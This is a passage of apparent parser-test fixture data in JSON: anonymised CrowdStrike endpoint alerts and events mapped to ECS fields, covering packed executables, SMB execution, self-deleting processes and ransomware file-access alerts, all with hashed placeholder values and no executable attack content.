"Status": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4", - "name": "891d960d630f07080d2bbd00503c6ca04d9007b20af" - }, - "device": { - "id": "6b6c287c6e8ce2041ce47a740e621689" - }, - "event": { - "action": "PrivilegedProcessHandleFromUnsignedModule", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4|6b6c287c6e8ce2041ce47a740e621689|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"ContextThreadId\":\"266500049070090\",\"aip\":\"89.160.20.112\",\"PublicKeys\":\"0\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"9c458f0ddfe1293cd356445b2c473d0a0ef4\",\"HandleCreated\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"PrivilegedProcessHandleFromUnsignedModule\",\"ContextTimeStamp\":\"1751718895.992\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"8080063970217\",\"SHA256HashData\":\"dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5\",\"ExtendedKeyUsages\":\"1\",\"FileSigningTime\":\"1601400887.000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"Object1Name\":\"\",\"TargetProcessId\":\"3542590006570\",\"DesiredAccess\":\"5900\",\"ImageFileName\":\"\\\\6ba0bd\\\\a37a4d54\\\\9134161b\\\\1fcd147a\\\\c3356034\\\\158.exe\",\"Entitlements\":\"86\",\"name\":\"891d960d630f07080d2bbd00503c6ca04d9007b20af\",\"aid\":\"6b6c287c6e8ce2041ce47a740e621689\",\"SignInfoFlags\":\"932000\",\"Object1Type\":\"81030550010000800400\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"Certificate\":\"\"}", - "outcome": "success", - "type": [ - "access" - ] - }, - "host": { - "id": "6b6c287c6e8ce2041ce47a740e621689", - "os": { - "type": "windows" - } - }, - "message": "PrivilegedProcessHandleFromUnsignedModule", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "6b6c287c6e8ce2041ce47a740e621689", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "3542590006570", - "executable": "\\6ba0bd\\a37a4d54\\9134161b\\1fcd147a\\c3356034\\158.exe", - "hash": { - "sha256": "dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5" - }, - "name": "158.exe", - "thread": { - "id": 266500049070090 - } - }, - "related": { - "hash": [ - "dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5", - "3440491101" - ], - "ip": [ - "89.160.20.112" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "550603001", - "ContextProcessId": "2492243565020", - "EffectiveTransmissionClass": "3", - "Entitlements": "96", - "EventOrigin": "1", - "FileSubType": "4", - "SHA256HashData": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "17ef479f49727073c1afd6d8d3ede95a561e", - "name": "deb18e9d761c09c713b0634dc553304" - }, - "device": { - "id": "2aff58e38d0a0bf09e91cfee7bcb819e" - }, - "event": { - "action": "ProcessExecOnPackedExecutable", - "category": [ - "process", - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "17ef479f49727073c1afd6d8d3ede95a561e|2aff58e38d0a0bf09e91cfee7bcb819e|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"event_simpleName\":\"ProcessExecOnPackedExecutable\",\"ConfigStateHash\":\"550603001\",\"ContextProcessId\":\"2492243565020\",\"aip\":\"89.160.20.112\",\"FileSubType\":\"4\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"1080047380010\",\"Entitlements\":\"96\",\"name\":\"deb18e9d761c09c713b0634dc553304\",\"EventOrigin\":\"1\",\"id\":\"17ef479f49727073c1afd6d8d3ede95a561e\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"2aff58e38d0a0bf09e91cfee7bcb819e\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "access" - ] - }, - "host": { - "id": "2aff58e38d0a0bf09e91cfee7bcb819e", - "os": { - "type": "windows" - } - }, - "message": "ProcessExecOnPackedExecutable", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "2aff58e38d0a0bf09e91cfee7bcb819e", - "version": "2c8b.4.bab7095.e6" - }, - "process": { - "entity_id": "1080047380010", - "hash": { - "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d" - } - }, - "related": { - "hash": [ - "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d", - "550603001" - ], - "ip": [ - "89.160.20.112" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "30409004030", - "ClientComputerName": "1a241b813c0288", - "ConfigStateHash": "3030480009", - "ContextProcessId": "2002000091665", - "EffectiveTransmissionClass": "3", - "Entitlements": "36", - "EventOrigin": "1", - "PatternId": "459", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "0b8735c9a332451c9040cce79b716849ed11", - "name": "8f744680ad930347c854bf" - }, - "destination": { - "address": "81.2.69.144", - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": "81.2.69.144" - }, - "device": { - "id": "b956f48020b41a099bfc062444b8ea38" - }, - "event": { - "action": "ProcessExecOnSMBFile", - "category": [ - "process", - "file", - "network" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "0b8735c9a332451c9040cce79b716849ed11|b956f48020b41a099bfc062444b8ea38|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"event_simpleName\":\"ProcessExecOnSMBFile\",\"UserName\":\"601f56394305\",\"ConfigStateHash\":\"3030480009\",\"ContextProcessId\":\"2002000091665\",\"aip\":\"89.160.20.112\",\"LogonDomain\":\"6e\",\"AuthenticationId\":\"30409004030\",\"UserPrincipal\":\"testuser@test.com\",\"UserSid\":\"S-70019-66419-130-71535-26067-98292-95578\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"PatternId\":\"459\",\"ClientComputerName\":\"1a241b813c0288\",\"Entitlements\":\"36\",\"name\":\"8f744680ad930347c854bf\",\"EventOrigin\":\"1\",\"id\":\"0b8735c9a332451c9040cce79b716849ed11\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"b956f48020b41a099bfc062444b8ea38\",\"RemoteAddressIP4\":\"81.2.69.144\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "access" - ] - }, - "host": { - "domain": "6e", - "id": "b956f48020b41a099bfc062444b8ea38", - "os": { - "type": "windows" - } - }, - "message": "ProcessExecOnSMBFile", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "b956f48020b41a099bfc062444b8ea38", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "2002000091665" - }, - "related": { - "hash": [ - "3030480009" - ], - "hosts": [ - "1a241b813c0288" - ], - "ip": [ - "89.160.20.112", - "81.2.69.144" - ], - "user": [ - "601f56394305", - "testuser", - "testuser@test.com", - "S-70019-66419-130-71535-26067-98292-95578" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "test.com", - "email": "testuser@test.com", - "full_name": "testuser", - "id": "S-70019-66419-130-71535-26067-98292-95578", - "name": "601f56394305" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "830", - "AuthenticodeHashData": "98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4", - "ConfigStateHash": "710307050", - "EffectiveTransmissionClass": "3", - "Entitlements": "46", - "EventOrigin": "1", - "ImageSubsystem": "2", - "IntegrityLevel": "90902", - "MD5HashData": "9fd1131ff976c9a3212a1db685870aa1", - "ParentAuthenticationId": "830", - "ProcessCreateFlags": "4", - "ProcessParameterFlags": "41103", - "ProcessSxsFlags": "26", - "SHA1HashData": "9692067083780606753097782045800757094700", - "SHA256HashData": "f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331", - "SessionId": "0", - "SignInfoFlags": "932000", - "SourceProcessId": "8000051703140", - "SourceThreadId": "400901163020000", - "Tags": [ - "982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2" - ], - "TokenType": "1", - "WindowFlags": "274", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "36f0bb29be278fc8322806730ffa12e53207", - "name": "f9ba95e9061aae4be" - }, - "device": { - "id": "40b756af7c1d76ef66cb380d94090915" - }, - "event": { - "action": "ProcessRollup2", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "36f0bb29be278fc8322806730ffa12e53207|40b756af7c1d76ef66cb380d94090915|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ProcessCreateFlags\":\"4\",\"IntegrityLevel\":\"90902\",\"ParentProcessId\":\"3000051703140\",\"SourceProcessId\":\"8000051703140\",\"aip\":\"81.2.69.142\",\"SHA1HashData\":\"9692067083780606753097782045800757094700\",\"UserSid\":\"S-62374-88856-1334\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"ProcessEndTime\":\"\",\"AuthenticodeHashData\":\"98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4\",\"ParentBaseFileName\":\"bce7ccba7d55464cc50\",\"EventOrigin\":\"1\",\"ImageSubsystem\":\"2\",\"id\":\"36f0bb29be278fc8322806730ffa12e53207\",\"EffectiveTransmissionClass\":\"3\",\"SessionId\":\"0\",\"Tags\":\"982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"10603\",\"ConfigStateHash\":\"710307050\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331\",\"ProcessSxsFlags\":\"26\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"WindowFlags\":\"274\",\"CommandLine\":\"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5\",\"ParentAuthenticationId\":\"830\",\"TargetProcessId\":\"8200110794047\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\5fd4a1cd\\\\d5a15842.exe\",\"SourceThreadId\":\"400901163020000\",\"Entitlements\":\"46\",\"name\":\"f9ba95e9061aae4be\",\"ProcessStartTime\":\"1745988595.443\",\"ProcessParameterFlags\":\"41103\",\"aid\":\"40b756af7c1d76ef66cb380d94090915\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "40b756af7c1d76ef66cb380d94090915", - "os": { - "type": "windows" - } - }, - "message": "ProcessRollup2", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "40b756af7c1d76ef66cb380d94090915", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "args": [ - "5f20a496dc8", - "d43d1f330482ee8", - "5699b4437440b65580e85c88f5cdca035e77", - "-e6ec25fc0", - "-ce", - "f06d9af09b660129fc208a858ce75e59", - "-63", - "90907973f6", - "-9de2", - "e162e", - "-af0975", - "7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851", - "-d89d7", - "d97ed553ad5f4263d831dfb497ed48a295e01396", - "-288", - "5" - ], - "args_count": 16, - "command_line": "5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5", - "entity_id": "8200110794047", - "executable": "\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe", - "hash": { - "md5": "9fd1131ff976c9a3212a1db685870aa1", - "sha1": "9692067083780606753097782045800757094700", - "sha256": "f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331" - }, - "name": "d5a15842.exe", - "parent": { - "entity_id": "3000051703140", - "name": "bce7ccba7d55464cc50" - }, - "pid": 10603, - "start": "2025-04-30T04:49:55.443Z" - }, - "related": { - "hash": [ - "9fd1131ff976c9a3212a1db685870aa1", - "f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331", - "9692067083780606753097782045800757094700", - "710307050" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "S-62374-88856-1334" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-62374-88856-1334" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "5080600092", - "ContextProcessId": "8008070284808", - "ContextTimeStamp": "2025-05-23T18:59:41.961Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "16", - "EventOrigin": "1", - "SHA256HashData": "0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87", - "SourceProcessId": "8020239020790", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "37ea1966fb73e596eaceeeda74969e0cf6fe", - "name": "1a4daccccece9ef5ba96" - }, - "device": { - "id": "4a13114d95ed726004929f3de3863e97" - }, - "event": { - "action": "ProcessSelfDeleted", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "37ea1966fb73e596eaceeeda74969e0cf6fe|4a13114d95ed726004929f3de3863e97|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"ProcessSelfDeleted\",\"ContextTimeStamp\":\"1748026781.961\",\"ConfigStateHash\":\"5080600092\",\"ContextProcessId\":\"8008070284808\",\"SourceProcessId\":\"8020239020790\",\"aip\":\"81.2.69.144\",\"SHA256HashData\":\"0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87\",\"FileIdentifier\":\"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"5100718000400\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\08ddb9f6\\\\0f51ad6\\\\8c31e\\\\d62f\\\\e\\\\ff53b0\\\\2b6\\\\38227bb0.exe\",\"Entitlements\":\"16\",\"name\":\"1a4daccccece9ef5ba96\",\"EventOrigin\":\"1\",\"id\":\"37ea1966fb73e596eaceeeda74969e0cf6fe\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"4a13114d95ed726004929f3de3863e97\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "file": { - "inode": "9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1" - }, - "host": { - "id": "4a13114d95ed726004929f3de3863e97", - "os": { - "type": "windows" - } - }, - "message": "ProcessSelfDeleted", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "4a13114d95ed726004929f3de3863e97", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "entity_id": "5100718000400", - "executable": "\\6ba0bd\\447b992c\\6b0cc\\08ddb9f6\\0f51ad6\\8c31e\\d62f\\e\\ff53b0\\2b6\\38227bb0.exe", - "hash": { - "sha256": "0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87" - }, - "name": "38227bb0.exe" - }, - "related": { - "hash": [ - "0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87", - "5080600092" - ], - "ip": [ - "81.2.69.144" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ClientId": "81", - "ConfigStateHash": "7800020060", - "ContextProcessId": "1005300580270", - "EffectiveTransmissionClass": "3", - "Entitlements": "36", - "EventOrigin": "1", - "PatternId": "684", - "SHA256HashData": "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68", - "Tags": [ - "18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5" - ], - "TargetFileName": "\\6ba0bd\\76648b42\\d598026\\c7bac469.NET\\c70281ee\\aca7.30319\\4820dd5a.sql", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "791f3434f4eb1f2494635bfa6c51a2855d12", - "name": "678e528c681bbe14db4667945d920" - }, - "device": { - "id": "ce205ce972e1ec0b34c552d96f46397a" - }, - "event": { - "action": "RansomwareFileAccessPattern", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "791f3434f4eb1f2494635bfa6c51a2855d12|ce205ce972e1ec0b34c552d96f46397a|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"event_simpleName\":\"RansomwareFileAccessPattern\",\"ConfigStateHash\":\"7800020060\",\"ContextProcessId\":\"1005300580270\",\"SourceFileName\":\"\\\\6ba0bd\\\\76648b42\\\\d598026\\\\b79c\\\\5c49f\\\\be379a3.rtf\",\"aip\":\"89.160.20.112\",\"SHA256HashData\":\"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"54d\\\\d598026\\\\4a6a0a4b\\\\a096c58f.exe\\\"\",\"PatternId\":\"684\",\"ImageFileName\":\"\\\\6ba0bd\\\\257d4e13\\\\d598026\\\\dc9ec376\\\\a096c58f.exe\",\"Entitlements\":\"36\",\"name\":\"678e528c681bbe14db4667945d920\",\"EventOrigin\":\"1\",\"ClientId\":\"81\",\"id\":\"791f3434f4eb1f2494635bfa6c51a2855d12\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ce205ce972e1ec0b34c552d96f46397a\",\"Tags\":\"18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\76648b42\\\\d598026\\\\c7bac469.NET\\\\c70281ee\\\\aca7.30319\\\\4820dd5a.sql\"}", - "outcome": "success", - "type": [ - "access" - ] - }, - "file": { - "directory": "\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f", - "extension": "rtf", - "hash": { - "sha256": "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68" - }, - "name": "be379a3.rtf", - "path": "\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f\\be379a3.rtf", - "type": "file" - }, - "host": { - "id": "ce205ce972e1ec0b34c552d96f46397a", - "os": { - "type": "windows" - } - }, - "message": "RansomwareFileAccessPattern", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "ce205ce972e1ec0b34c552d96f46397a", - "version": "2c8b.4.ae3729d.e6" - }, - "process": { - "args": [ - "54d\\d598026\\4a6a0a4b\\a096c58f.exe" - ], - "args_count": 1, - "command_line": "54d\\d598026\\4a6a0a4b\\a096c58f.exe\"", - "entity_id": "1005300580270", - "executable": "\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe", - "name": "a096c58f.exe" - }, - "related": { - "hash": [ - "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68", - "7800020060" - ], - "ip": [ - "89.160.20.112" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "BoundingLimitCount": 1, - "BoundingLimitDuration": "5486640", - "ConfigStateHash": "9250777000", - "ContextProcessId": "7701685113510", - "ContextTimeStamp": "2025-06-27T12:57:00.082Z", - "DesiredAccess": "5750008", - "EffectiveTransmissionClass": "3", - "Entitlements": "26", - "EventOrigin": "1", - "FileAttributes": "0", - "FileObject": "0", - "Information": "1", - "IrpFlags": "2500", - "MajorFunction": "0", - "MinorFunction": "0", - "OperationFlags": "0", - "Options": "90328446", - "ShareAccess": "7", - "Status": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "13e038874f0490733a5191031434b8657382", - "name": "4c8f7117e5d227bf9ddc" - }, - "device": { - "id": "ea08505420aa828a0a52a6eed3c8a196" - }, - "event": { - "action": "RansomwareOpenFile", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "13e038874f0490733a5191031434b8657382|ea08505420aa828a0a52a6eed3c8a196|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"Options\":\"90328446\",\"ContextThreadId\":\"344002022970675\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.112\",\"BoundingLimitCount\":\"1\",\"Information\":\"1\",\"FileIdentifier\":\"4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612\",\"event_platform\":\"Win\",\"ShareAccess\":\"7\",\"EventOrigin\":\"1\",\"id\":\"13e038874f0490733a5191031434b8657382\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"RansomwareOpenFile\",\"ContextTimeStamp\":\"1751029020.082\",\"ConfigStateHash\":\"9250777000\",\"ContextProcessId\":\"7701685113510\",\"IrpFlags\":\"2500\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"5750008\",\"BoundingLimitDuration\":\"5486640\",\"Entitlements\":\"26\",\"name\":\"4c8f7117e5d227bf9ddc\",\"OperationFlags\":\"0\",\"aid\":\"ea08505420aa828a0a52a6eed3c8a196\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\4e7075fa.key\"}", - "outcome": "success", - "type": [ - "access" - ] - }, - "file": { - "directory": "\\6ba0bd\\447b992c\\9134161b\\b169fe25", - "extension": "key", - "inode": "4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612", - "name": "4e7075fa.key", - "path": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key", - "type": "file" - }, - "host": { - "id": "ea08505420aa828a0a52a6eed3c8a196", - "os": { - "type": "windows" - } - }, - "message": "RansomwareOpenFile", - "observer": { - "address": [ - "89.160.20.112" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.112" - ], - "serial_number": "ea08505420aa828a0a52a6eed3c8a196", - "version": "2c8b.4.bab7095.e6" - }, - "process": { - "entity_id": "7701685113510", - "thread": { - "id": 344002022970675 - } - }, - "related": { - "hash": [ - "9250777000" - ], - "ip": [ - "89.160.20.112" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "AuthenticationId": "830", - "ConfigStateHash": "3440491101", - "ContextProcessId": "2090006508607", - "ContextTimeStamp": "2025-10-29T00:43:06.458Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "66", - "EventOrigin": "1", - "RegClassification": "806", - "RegClassificationFlags": "454", - "RegClassificationIndex": "430", - "RegObjectName": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a", - "RegOperationType": "1", - "RegStringValue": "1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0